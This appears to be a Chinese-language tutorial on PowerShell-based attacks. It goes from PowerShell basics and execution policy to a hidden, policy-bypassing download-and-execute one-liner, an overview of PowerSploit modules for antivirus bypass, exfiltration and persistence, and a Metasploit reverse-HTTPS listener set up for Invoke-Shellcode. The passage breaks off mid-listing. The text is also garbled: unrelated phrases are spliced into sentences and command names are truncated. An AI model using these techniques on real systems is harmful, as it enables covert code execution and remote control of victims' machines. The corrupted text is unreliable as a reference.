Powershall攻击教程
PowerShell
1、介绍
powershell需要环境的支持,同时支持对象,其可读性易用性居所有shell之首。
1.脚本可以在内存中执行,不需要写入磁盘。
2.几乎不会触发杀毒软件四级写作
3.可以远程执行
4.目前很多工具都是基于powershell开发的
5.使很多windows脚本的执行变得更容易
6.的运行通常会被阻止,但是power shell的运行通常不会被阻止
7.我一直在你身边英语可用于管理活动目录
输入Get-Host 或者 $PSVersionTable.PSVERSION 查看powershell的版本
PS C:\Urs\DELL> Get-Host
Name : ConsoleHost
Version : 5.1.18362.1171
InstanceId : a9795f0c-814a-4e0e-95ea-b29b3a2fbbfc
UI : System.Management.Automation.Internal.Host.InternalHostUrInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : Fal
Runspace : System.Management.Automation.Runspaces.LocalRunspacedrugs
PS C:\Urs\DELL> $PSVersionTable.PSVERSION
Major Minor Build Revision
----- ----- ----- --------
5 1 18362 1171
2、基本概念
1、.ps1文件
一个powershell脚本其实是一个简单的文本文件,其扩展名为 .ps1 。每个脚本文件包含一系列的powershell命令,每个命令显示为独立的一行。
2、执行策略
为了防止使用者运行恶意脚本,powershell提供了一个执行策略。在默认情况下,这个 策
略被设置为不能运行。如果脚本不能运行可以执行下面的命令查询当前的执行策略
Get-ExwcutionPolicy
Restrcted 脚本不能运行(默认设置)
RemoteSigned 在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)
AllSigned 仅当脚本由受信任的发布者签名时才能运行
Unrestricted 允许所有脚本运行
可用下面的cmdlet命令设置powershell的执行策略
Set-ExecutionPolicy <policy name>
3、运行脚本
必须输入完整的路径和文件名
4、管道
将一个命令的输出作为另一个命令的输入怎么样才能学好英语
get-process p* | stop-process
3、常用命令
新建目录
New-Item test -type Directory
radiofrequency新建文件
New-Item -type File
删除目录或文件
Remove-Item test
显示文本内容
get-content
设置文本内容
t-content 1.txt -value "hell,word!"
追加内容
Add-Content 1.txt -Value "i love you"
清除内容
Clear-Content
上传test.psl至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
-Executionpolicy Bypass 琵琶行原文及翻译-File test.psl
从远程服务器下载脚本,绕过本地权限并隐藏执行
-Executionpolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.webClient).DownloadString("test.psl");[Parameters]
powersploit
1、概念及其调用
一款基于powershell的后渗透框架软件,包含很多power shell攻击脚本。主要用于信息侦察、权限维持、权限提升
Kali Linux 系统内置了 Powersploit,安装在 /usr/share/windows-resources/powersploit 目录下,可以通过 ls 命令看到各种脚本类型
┌──(root💀kali)-[~/桌面]
└─
┌──(root💀kali)-[/usr/share/windows-resources/powersploit]
└─
AntivirusBypass CodeExecution Exfiltration Mayhem Persistence PowerSploit.psd1 PowerSploit.psm1 Privesc README.md Recon ScriptModification Tests
┌──(root💀kali)-[/usr/share/windows-resources/powersploit]
└─
affirmed┌──(root💀kali)-[/usr/share/windows-resources/powersploit/CodeExecution]
└─
CodeExecution.psd1 CodeExecution.psm1 Invoke-DllInjection.ps1 Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection_Resources Invoke-Shellcode.ps1 Invoke-WmiCommand.ps1 Usage.m
将/usr/share/windows-resources目录下的powersploit复制移动到/var/www/html下,搭建一个建议的服务器,在win7靶机中访问192.168.160.129/powersploit,如下图所示
上图的几个模块的功能如下
AntivirusBypass 发现杀毒软件的查杀特征
CodeExcution 在目标主机上执行代码
Exfiltration 目标主机上的信息收集工具
Mayhem 蓝屏破坏脚本
Persistence 后门脚本(持久性控制)
Recon 以目标主机为跳板进行内网信息侦察
ScriptModification 在目标主机创建修改脚本
2、powersploit常用脚本模块攻击
1、Invoke-Shellcode
1.1 CodeExecution模块下的Invoke-Shellcode脚本常用于将Shellcode插入指定的进程ID或本地PowerShell中
设置监听
┌──(root💀kali)-[~/桌面]
└─# rvice apache2 start #开启apache服务
┌──(root💀kali)-[~/桌面]
└─# msfconsole #启动msf模块
get onmsf6 > u exploit/multi/handler
[*] Using configured payload generic/shell_rever_tcp
msf6 exploit(multi/handler) > t payload windows/meterpreter/rever_https
payload => windows/meterpreter/rever_https
msf6 exploit(multi/handler) > t LHOST 192.168.160.129 #本地IP
LHOST => 192.168.160.129
msf6 exploit(multi/handler) > t LPORT 4444 #监听端口
LPORT => 4444
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
效益工资 Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/rever_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', h, thread, process, none)
LHOST 192.168.160.129 yes The local listener hostnamemerry是什么意思